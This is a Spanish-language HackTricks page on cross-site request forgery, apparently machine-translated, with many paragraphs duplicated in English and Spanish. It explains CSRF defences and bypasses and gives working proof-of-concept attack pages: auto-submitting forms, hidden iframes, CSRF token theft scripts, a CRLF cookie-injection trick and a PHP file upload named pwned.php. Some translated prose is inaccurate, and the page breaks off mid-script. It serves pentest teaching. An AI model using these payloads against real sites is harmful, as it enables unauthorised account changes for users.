52 KiB
CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
¿Qué es CSRF?
Cross-site request forgery (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no desean realizar.
Esto se logra haciendo que un usuario con sesión iniciada en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí ejecute código JS malicioso, envíe formularios o recupere "imágenes" en la cuenta de la víctima.
Requisitos
Para poder aprovechar una vulnerabilidad de CSRF, primero debes encontrar una acción relevante para abusar (cambiar la contraseña o el correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La sesión debe depender solo de cookies o del encabezado de autenticación básica HTTP, no se puede usar ningún otro encabezado para manejar la sesión. Y finalmente, no debe haber parámetros impredecibles en la solicitud.
Se pueden implementar varias contramedidas para evitar esta vulnerabilidad.
Defensas comunes
- Cookies SameSite: Si la cookie de sesión utiliza esta bandera, es posible que no puedas enviar la cookie desde sitios web arbitrarios.
- Compartición de recursos entre orígenes: Dependiendo del tipo de solicitud HTTP que necesites realizar para abusar de la acción relevante, debes tener en cuenta la política CORS del sitio víctima. Ten en cuenta que la política CORS no afectará si solo quieres enviar una solicitud GET o una solicitud POST desde un formulario y no necesitas leer la respuesta.
- Solicitar la contraseña del usuario para autorizar la acción.
- Resolver un captcha.
- Leer los encabezados Referrer u Origin. Si se utiliza una expresión regular, se puede eludir, por ejemplo, con:
- http://mal.net?orig=http://example.com (termina con la URL)
- http://example.com.mal.net (comienza con la URL)
- Modificar el nombre de los parámetros de la solicitud POST o GET.
- Usar un token CSRF en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token puede estar protegido con CORS.
Mapa de CSRF
Bypass de defensas
De POST a GET
Tal vez el formulario que deseas aprovechar está preparado para enviar una solicitud POST con un token CSRF, pero debes verificar si también es válido enviar una solicitud GET y si se sigue validando el token CSRF cuando se envía una solicitud GET.
Falta de token
Algunas aplicaciones validan correctamente el token cuando está presente, pero omiten la validación si el token se omite.
En esta situación, el atacante puede eliminar el parámetro completo que contiene el token (no solo su valor) para eludir la validación y realizar un ataque CSRF.
El token CSRF no está vinculado a la sesión del usuario
Algunas aplicaciones no validan que el token pertenezca a la misma sesión que el usuario que realiza la solicitud. En cambio, la aplicación mantiene un conjunto global de tokens que ha emitido y acepta cualquier token que aparezca en este conjunto.
En esta situación, el atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, obtener un token válido y luego proporcionar ese token al usuario víctima en su ataque CSRF.
Bypass de método
Si la solicitud utiliza un método "extraño", verifica si la funcionalidad de anulación de método está funcionando.
Por ejemplo, si se está utilizando un método PUT, puedes intentar usar un método POST y enviar: https://example.com/my/dear/api/val/num?_method=PUT
Esto también puede funcionar enviando el parámetro _method dentro de una solicitud POST o utilizando los encabezados:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Bypass personalizado de token de encabezado
Si la solicitud está agregando un encabezado personalizado con un token a la solicitud como método de protección contra CSRF, entonces:
- Prueba la solicitud sin el Token personalizado y también el encabezado.
- Prueba la solicitud con un token diferente pero de la misma longitud.
El token CSRF se verifica mediante una cookie
En una variación adicional de la vulnerabilidad anterior, algunas aplicaciones duplican cada token dentro de una cookie y un parámetro de solicitud. O configuran una cookie CSRF y verifican en el backend si el token CSRF enviado es el relacionado con la cookie.
Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el token enviado en el parámetro de solicitud coincida con el valor almacenado por la cookie.
En esta situación, el atacante puede nuevamente realizar un ataque CSRF si el sitio web contiene alguna vulnerabilidad que le permita configurar su cookie CSRF en la víctima como un CRLF.
En este caso, puedes configurar la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Ten en cuenta que si el token csrf está relacionado con la cookie de sesión, este ataque no funcionará porque necesitarás establecerle a la víctima tu sesión, y por lo tanto estarás atacándote a ti mismo. {% endhint %}
Cambio de Content-Type
Según esto, para evitar las solicitudes de preflight utilizando el método POST, estos son los valores permitidos para Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type utilizado, por lo que debes probar los valores mencionados y otros como application/json
,text/xml
, application/xml
.
Ejemplo (de aquí) de envío de datos JSON como text/plain:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
Bypass de solicitud de preflight de tipo de contenido application/json
Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido application/json
a través de un formulario HTML, y si intentas hacerlo a través de XMLHttpRequest
, primero se envía una solicitud de preflight.
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido text/plain
y application/x-www-form-urlencoded
solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.
Puedes enviar un formulario utilizando Content-Type: text/plain
estableciendo enctype="text/plain"
Si el servidor solo acepta el tipo de contenido "application/json", puedes enviar el tipo de contenido "text/plain; application/json" sin activar una solicitud de preflight.
También podrías intentar burlar esta restricción utilizando un archivo flash SWF. Para obtener más información, lee este artículo.
Bypass de verificación de Referer / Origin
Evita el encabezado Referer
Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero omitirán la validación si el encabezado está ausente.
<meta name="referrer" content="never">
Bypasses de Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros, puedes hacer lo siguiente:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Bypass del método HEAD
La primera parte de este informe de CTF explica que en el código fuente de Oak, un enrutador está configurado para manejar las solicitudes HEAD como solicitudes GET sin cuerpo de respuesta, una solución común que no es exclusiva de Oak. En lugar de tener un controlador específico para las solicitudes HEAD, simplemente se les pasa al controlador GET pero la aplicación elimina el cuerpo de respuesta.
Por lo tanto, si una solicitud GET está siendo limitada, simplemente puedes enviar una solicitud HEAD que será procesada como una solicitud GET.
Ejemplos de explotación
Exfiltración de token CSRF
Si se está utilizando un token CSRF como defensa, puedes intentar exfiltrarlo aprovechando una vulnerabilidad de XSS o una vulnerabilidad de Dangling Markup.
GET utilizando etiquetas HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son:
Solicitud GET de formulario
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solicitud de envío de formulario
A common method used to submit data to a web server is through a form POST request. This type of request is typically used when submitting sensitive information, such as login credentials or payment details.
Un método común utilizado para enviar datos a un servidor web es a través de una solicitud de envío de formulario (form POST request). Este tipo de solicitud se utiliza generalmente al enviar información sensible, como credenciales de inicio de sesión o detalles de pago.
To make a form POST request, the client sends an HTTP POST request to the server with the form data included in the request body. The server then processes the data and responds accordingly.
Para realizar una solicitud de envío de formulario, el cliente envía una solicitud HTTP POST al servidor con los datos del formulario incluidos en el cuerpo de la solicitud. Luego, el servidor procesa los datos y responde en consecuencia.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or email tricks the victim's browser into making a request to a target website on which the victim is authenticated.
Cross-Site Request Forgery (CSRF) es un ataque que engaña a la víctima para que envíe una solicitud maliciosa. Este ataque ocurre cuando un sitio web o correo electrónico malicioso engaña al navegador de la víctima para que realice una solicitud a un sitio web objetivo en el que la víctima está autenticada.
The attack takes advantage of the fact that many websites rely solely on session cookies for authentication, without additional security measures. By tricking the victim's browser into making a request, the attacker can perform actions on behalf of the victim without their knowledge or consent.
El ataque aprovecha el hecho de que muchos sitios web se basan únicamente en cookies de sesión para la autenticación, sin medidas de seguridad adicionales. Al engañar al navegador de la víctima para que realice una solicitud, el atacante puede realizar acciones en nombre de la víctima sin su conocimiento o consentimiento.
Preventing CSRF Attacks
To prevent CSRF attacks, web applications can implement measures such as:
-
CSRF tokens: Generating and validating unique tokens for each user session. These tokens are included in the form and verified on the server-side to ensure that the request is legitimate.
-
SameSite cookies: Setting the SameSite attribute on cookies to restrict their usage to same-site requests, preventing them from being sent in cross-site requests.
-
Referer header validation: Checking the Referer header on the server-side to ensure that requests originate from the same domain.
-
Double-submit cookie: Including a cookie value in the form and verifying it on the server-side to ensure that it matches the value sent in the request body.
Prevención de ataques CSRF
Para prevenir ataques CSRF, las aplicaciones web pueden implementar medidas como:
-
Tokens CSRF: Generar y validar tokens únicos para cada sesión de usuario. Estos tokens se incluyen en el formulario y se verifican en el lado del servidor para asegurar que la solicitud sea legítima.
-
Cookies SameSite: Establecer el atributo SameSite en las cookies para restringir su uso a solicitudes del mismo sitio, evitando que se envíen en solicitudes entre sitios.
-
Validación del encabezado Referer: Verificar el encabezado Referer en el lado del servidor para asegurar que las solicitudes se originen desde el mismo dominio.
-
Cookie de doble envío: Incluir un valor de cookie en el formulario y verificarlo en el lado del servidor para asegurar que coincida con el valor enviado en el cuerpo de la solicitud.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Solicitud de envío de formulario a través de un iframe
Una técnica comúnmente utilizada para llevar a cabo ataques de falsificación de solicitudes entre sitios (CSRF) es enviar una solicitud de envío de formulario a través de un iframe. Esto implica la inclusión de un iframe oculto en una página web maliciosa que contiene un formulario con datos predefinidos. Cuando un usuario visita esta página, el formulario se envía automáticamente sin su conocimiento o consentimiento.
El objetivo de este ataque es aprovechar la confianza que los sitios web tienen en las solicitudes enviadas por los usuarios autenticados. Al enviar una solicitud desde el navegador del usuario, el servidor receptor asume que la solicitud es legítima y la procesa sin realizar ninguna verificación adicional.
Para llevar a cabo este ataque, el atacante debe encontrar una forma de hacer que el usuario visite la página maliciosa que contiene el iframe. Esto puede lograrse mediante técnicas de ingeniería social, como el envío de enlaces engañosos a través de correos electrónicos o mensajes de texto.
Una vez que el usuario visita la página maliciosa, el formulario se envía automáticamente a través del iframe, utilizando la sesión y las cookies del usuario autenticado. Esto puede permitir al atacante realizar acciones en nombre del usuario, como cambiar la contraseña, realizar compras no autorizadas o realizar cambios en la configuración de la cuenta.
Para protegerse contra este tipo de ataques, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF (tokens de solicitud de falsificación entre sitios) y la validación de referencias cruzadas en las solicitudes de envío de formularios. Estas medidas ayudan a garantizar que las solicitudes solo sean procesadas si provienen de fuentes confiables y legítimas.
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solicitud POST de Ajax
An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. This type of request is commonly used to send data to the server without requiring a page refresh.
Una solicitud POST de Ajax es un tipo de solicitud HTTP que se envía de forma asíncrona desde una página web a un servidor utilizando la tecnología Ajax. Este tipo de solicitud se utiliza comúnmente para enviar datos al servidor sin requerir una actualización de la página.
$.ajax({
url: "/endpoint",
type: "POST",
data: {
param1: "value1",
param2: "value2"
},
success: function(response) {
console.log(response);
},
error: function(xhr, status, error) {
console.log(error);
}
});
The above code snippet demonstrates an example of an Ajax POST request using jQuery. The url
parameter specifies the endpoint where the request is sent, the type
parameter specifies the HTTP method (in this case, POST), and the data
parameter contains the data to be sent to the server.
El fragmento de código anterior muestra un ejemplo de una solicitud POST de Ajax utilizando jQuery. El parámetro url
especifica el punto final al que se envía la solicitud, el parámetro type
especifica el método HTTP (en este caso, POST), y el parámetro data
contiene los datos que se enviarán al servidor.
The success
function is called when the request is successful, and the response
parameter contains the response from the server. The error
function is called when an error occurs during the request, and the xhr
, status
, and error
parameters provide information about the error.
La función success
se llama cuando la solicitud es exitosa, y el parámetro response
contiene la respuesta del servidor. La función error
se llama cuando ocurre un error durante la solicitud, y los parámetros xhr
, status
y error
proporcionan información sobre el error.
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
Solicitud POST multipart/form-data
When submitting a form on a website, the data is typically sent using the application/x-www-form-urlencoded
content type. However, in some cases, the form may require file uploads or other binary data. In such scenarios, the multipart/form-data
content type is used.
Cuando se envía un formulario en un sitio web, los datos generalmente se envían utilizando el tipo de contenido application/x-www-form-urlencoded
. Sin embargo, en algunos casos, el formulario puede requerir la carga de archivos u otros datos binarios. En tales escenarios, se utiliza el tipo de contenido multipart/form-data
.
To craft a multipart/form-data
POST request, the request body is divided into multiple parts, each containing a separate field and its corresponding value. Each part is separated by a boundary string, which is specified in the Content-Type
header.
Para crear una solicitud POST multipart/form-data
, el cuerpo de la solicitud se divide en varias partes, cada una conteniendo un campo separado y su valor correspondiente. Cada parte se separa mediante una cadena de límite, que se especifica en el encabezado Content-Type
.
Here is an example of a multipart/form-data
POST request:
Aquí tienes un ejemplo de una solicitud POST multipart/form-data
:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="username"
john.doe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
[Binary image data]
-----------------------------1234567890--
In this example, the request body is divided into three parts. The first part contains the username
field with the value john.doe
. The second part contains the profile_picture
field, which is a file named picture.jpg
with the corresponding binary image data. Each part is separated by the boundary string ---------------------------1234567890
, as specified in the Content-Type
header.
En este ejemplo, el cuerpo de la solicitud se divide en tres partes. La primera parte contiene el campo username
con el valor john.doe
. La segunda parte contiene el campo profile_picture
, que es un archivo llamado picture.jpg
con los datos binarios de la imagen correspondiente. Cada parte se separa mediante la cadena de límite ---------------------------1234567890
, como se especifica en el encabezado Content-Type
.
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
Solicitud POST multipart/form-data v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request. This technique is commonly used to exploit web applications that do not implement proper CSRF protection.
En esta técnica, exploraremos cómo realizar un ataque de falsificación de solicitud entre sitios (CSRF) utilizando una solicitud POST multipart/form-data. Esta técnica se utiliza comúnmente para explotar aplicaciones web que no implementan una protección adecuada contra CSRF.
Overview
The multipart/form-data content type is commonly used for file uploads and form submissions that contain binary data. It allows the client to send multiple parts of data in a single request.
El tipo de contenido multipart/form-data se utiliza comúnmente para cargar archivos y enviar formularios que contienen datos binarios. Permite al cliente enviar varias partes de datos en una sola solicitud.
Exploiting CSRF using multipart/form-data
To exploit CSRF using a multipart/form-data POST request, we need to create a form that submits the desired request to the target application. This form should include all the necessary fields and values required by the target application.
Para explotar CSRF utilizando una solicitud POST multipart/form-data, debemos crear un formulario que envíe la solicitud deseada a la aplicación objetivo. Este formulario debe incluir todos los campos y valores necesarios requeridos por la aplicación objetivo.
Once the form is created, we can host it on a website under our control. We can then trick the victim into visiting this website, which will automatically submit the form in the background without their knowledge.
Una vez creado el formulario, podemos alojarlo en un sitio web bajo nuestro control. Luego, podemos engañar a la víctima para que visite este sitio web, lo que enviará automáticamente el formulario en segundo plano sin su conocimiento.
When the victim visits our website, the form will be submitted to the target application using their authenticated session. This allows us to perform actions on behalf of the victim without their consent.
Cuando la víctima visita nuestro sitio web, el formulario se enviará a la aplicación objetivo utilizando su sesión autenticada. Esto nos permite realizar acciones en nombre de la víctima sin su consentimiento.
Conclusion
Exploiting CSRF vulnerabilities using multipart/form-data POST requests can be a powerful technique to compromise web applications. It is important for developers to implement proper CSRF protection mechanisms to prevent such attacks.
Explotar vulnerabilidades de CSRF utilizando solicitudes POST multipart/form-data puede ser una técnica poderosa para comprometer aplicaciones web. Es importante que los desarrolladores implementen mecanismos adecuados de protección contra CSRF para prevenir este tipo de ataques.
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Solicitud POST de formulario desde un iframe
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent.
Cuando se envía un formulario HTML, el navegador envía una solicitud POST a la URL especificada. Este comportamiento puede ser explotado en un ataque de falsificación de solicitud entre sitios (CSRF) al engañar a un usuario para que envíe un formulario sin su conocimiento o consentimiento.
To execute a CSRF attack using an iframe, the attacker can embed a malicious page containing a hidden form within an iframe on a legitimate website. When the user visits the legitimate website, the hidden form is automatically submitted, sending the user's session cookies and any other sensitive information to the attacker's server.
Para ejecutar un ataque CSRF utilizando un iframe, el atacante puede incrustar una página maliciosa que contenga un formulario oculto dentro de un iframe en un sitio web legítimo. Cuando el usuario visita el sitio web legítimo, el formulario oculto se envía automáticamente, enviando las cookies de sesión del usuario y cualquier otra información confidencial al servidor del atacante.
To prevent CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, web browsers have implemented security features like the SameSite attribute for cookies, which can help mitigate CSRF attacks.
Para prevenir ataques CSRF, los desarrolladores web deben implementar medidas como el uso de tokens anti-CSRF, que son tokens únicos incrustados en formularios para verificar la autenticidad de la solicitud. Además, los navegadores web han implementado características de seguridad como el atributo SameSite para cookies, que pueden ayudar a mitigar los ataques CSRF.
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Robar el token CSRF y enviar una solicitud POST
En un ataque de falsificación de solicitud entre sitios (CSRF), el objetivo es engañar al usuario para que realice una acción no deseada en un sitio web en el que ya está autenticado. Para llevar a cabo este ataque, es necesario robar el token CSRF del usuario y luego enviar una solicitud POST utilizando ese token.
Aquí hay un ejemplo de cómo se puede realizar este ataque:
-
Obtener el token CSRF: El token CSRF se encuentra generalmente en una cookie o en una etiqueta oculta en el formulario. Utilizando técnicas de ingeniería social o de inyección de código, se puede obtener este token del usuario.
-
Crear una solicitud POST: Una vez que se ha obtenido el token CSRF, se puede utilizar para crear una solicitud POST falsa. Esta solicitud puede contener cualquier acción no deseada, como cambiar la contraseña del usuario o realizar una compra no autorizada.
-
Enviar la solicitud POST: La solicitud POST falsa se envía al servidor web objetivo. Dado que la solicitud contiene el token CSRF válido, el servidor la considerará legítima y realizará la acción solicitada.
Es importante destacar que este ataque solo es efectivo si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes.
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF aleatorios y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Robar el token CSRF y enviar una solicitud POST utilizando un iframe, un formulario y Ajax
El robo de tokens CSRF es una técnica común utilizada en ataques de falsificación de solicitudes entre sitios. Esta técnica aprovecha la confianza que un sitio web tiene en las solicitudes enviadas desde su propio dominio.
Para robar el token CSRF, se puede utilizar un iframe oculto que cargue la página objetivo que contiene el token. Luego, se puede acceder al contenido del iframe y extraer el valor del token.
<iframe id="csrf-frame" src="https://www.sitiowebobjetivo.com"></iframe>
<script>
var csrfFrame = document.getElementById('csrf-frame');
var csrfToken = csrfFrame.contentDocument.querySelector('input[name="csrf_token"]').value;
// Aquí se puede enviar el token a un servidor malicioso o realizar otras acciones
</script>
Una vez que se ha obtenido el token CSRF, se puede utilizar para enviar una solicitud POST falsificada al servidor objetivo. Esto se puede hacer utilizando un formulario oculto y enviándolo automáticamente utilizando JavaScript.
<form id="csrf-form" action="https://www.sitiowebobjetivo.com/post-endpoint" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_AQUI">
<input type="hidden" name="data" value="datos maliciosos">
</form>
<script>
var csrfForm = document.getElementById('csrf-form');
csrfForm.submit();
</script>
Otra forma de enviar la solicitud POST falsificada es utilizando Ajax. Esto permite enviar la solicitud sin recargar la página.
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://www.sitiowebobjetivo.com/post-endpoint');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('X-CSRF-Token', 'TOKEN_CSRF_AQUI');
xhr.send('data=datos maliciosos');
Estas técnicas pueden ser utilizadas por un atacante para realizar acciones maliciosas en nombre del usuario legítimo, como cambiar contraseñas, realizar compras no autorizadas o realizar acciones no deseadas en el sitio web objetivo. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Robar el token CSRF y enviar una solicitud POST utilizando un iframe y un formulario
Una técnica común para llevar a cabo un ataque de falsificación de solicitudes entre sitios (CSRF) es robar el token CSRF de un usuario legítimo y luego utilizarlo para enviar una solicitud POST maliciosa. Esto se puede lograr mediante el uso de un iframe y un formulario.
-
Primero, es necesario obtener el token CSRF del usuario legítimo. Esto se puede hacer mediante ingeniería inversa o mediante la explotación de una vulnerabilidad en la aplicación web.
-
Una vez que se ha obtenido el token CSRF, se puede utilizar un iframe para cargar una página maliciosa en el navegador del usuario. El iframe debe apuntar a la página que contiene el formulario que se utilizará para enviar la solicitud POST.
<iframe src="http://www.paginamaliciosa.com/csrf.html"></iframe>
- En la página maliciosa, se debe incluir un formulario que contenga los parámetros necesarios para realizar la solicitud POST. El formulario debe incluir el token CSRF robado.
<form action="http://www.aplicacionweb.com/solicitudpost" method="POST">
<input type="hidden" name="parametro1" value="valor1">
<input type="hidden" name="parametro2" value="valor2">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROBADO">
<input type="submit" value="Enviar">
</form>
- Cuando el usuario carga la página maliciosa, el formulario se enviará automáticamente debido al uso del atributo
action
en el formulario. La solicitud POST se enviará a la aplicación web legítima, utilizando el token CSRF robado.
Es importante tener en cuenta que este tipo de ataque solo es efectivo si el usuario legítimo ha iniciado sesión en la aplicación web y tiene una sesión activa. Además, la aplicación web debe ser vulnerable a ataques CSRF para que esta técnica funcione.
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Robar token y enviarlo usando 2 iframes
En esta técnica de CSRF, el atacante roba el token de autenticación de la víctima y lo envía a través de dos iframes. El objetivo es engañar al navegador de la víctima para que realice una solicitud no deseada en nombre del usuario autenticado.
El proceso se divide en los siguientes pasos:
-
El atacante crea una página web maliciosa que contiene dos iframes. Uno de los iframes se carga con la página de destino que se desea atacar, mientras que el otro se carga con una página controlada por el atacante.
-
Cuando la víctima visita la página maliciosa, el navegador carga los iframes automáticamente.
-
El iframe controlado por el atacante realiza una solicitud GET a la página de destino, aprovechando el token de autenticación almacenado en las cookies de la víctima.
-
La página de destino recibe la solicitud y la procesa como si fuera legítima, ya que incluye el token de autenticación válido.
-
El atacante puede aprovechar esta solicitud para realizar acciones no autorizadas en nombre de la víctima, como cambiar la contraseña, realizar compras o realizar cualquier otra acción permitida por la página de destino.
Es importante destacar que esta técnica solo funciona si la página de destino no implementa medidas de protección contra CSRF, como tokens de solicitud aleatorios o verificación de origen. Por lo tanto, es fundamental que los desarrolladores implementen estas medidas de seguridad para proteger sus aplicaciones web contra este tipo de ataques.
<script>
var token;
function readframe1(){
